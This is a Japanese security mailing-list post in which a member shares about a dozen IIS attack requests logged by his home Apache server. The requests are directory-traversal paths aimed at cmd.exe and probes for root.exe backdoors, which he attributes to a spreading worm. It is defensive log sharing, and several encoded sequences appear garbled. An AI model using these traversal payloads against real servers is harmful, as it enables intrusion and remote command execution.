[stalk:00888] Re: IIS への攻撃 (Re: CODE GREEN ?

[Djnii <genie@xxxxxxxxxxxxxxxx>]

>	ひ〜ん、IIS の cmd.exe やら CodeRed の穴をつく攻撃やらの
>	大量攻撃を受けているっす。自宅でも、会社でも。
>
>	皆さんのところはどうでしょう？

内藤です。

右松さんの投稿を見て 自宅のApacheのerror.log を見てみたのですが、
確かに数百回／時間の攻撃に晒されているようです。
一つのアドレスから固まって複数種類のアタックが来るところから見ると
なんか容赦ないワームが蔓延し始めてるのではないかと言う気がします。

/%docroot%/scripts/root.exe
/%docroot%/MSADC/root.exe
/%docroot%/c/winnt/system32/cmd.exe
/%docroot%/d/winnt/system32/cmd.exe
/%docroot%/scripts/..%5c../winnt/system32/cmd.exe
/%docroot%/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/%docroot%/_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/%docroot%/msadc/..%5c../..%5c../..%5c/..閃./..閃./..閃./winnt/system32/cmd.exe 
/%docroot%/scripts/..閃./winnt/system32/cmd.exe
/%docroot%/scripts/..政../winnt/system32/cmd.exe
/%docroot%/d/winnt/system32/cmd.exe
/%docroot%/scripts/..%5c../winnt/system32/cmd.exe
/%docroot%/scripts/..%2f../winnt/system32/cmd.exe

これで 1セット（この場合およそ20秒間でした）のようです。
制御を奪った後はどういう動きをするんでしょうかね。
--
- このメイリングリストに関する質問・問い合せ等は
- <security-talk@xxxxxxxxxx>までお知らせください
--
------------------------------------------------------------------------
　　　　　　　　 ニュース速報！　はインフォシークで！！
　　　　 http://www.infoseek.co.jp/Home?pg=Home.html&svx=971122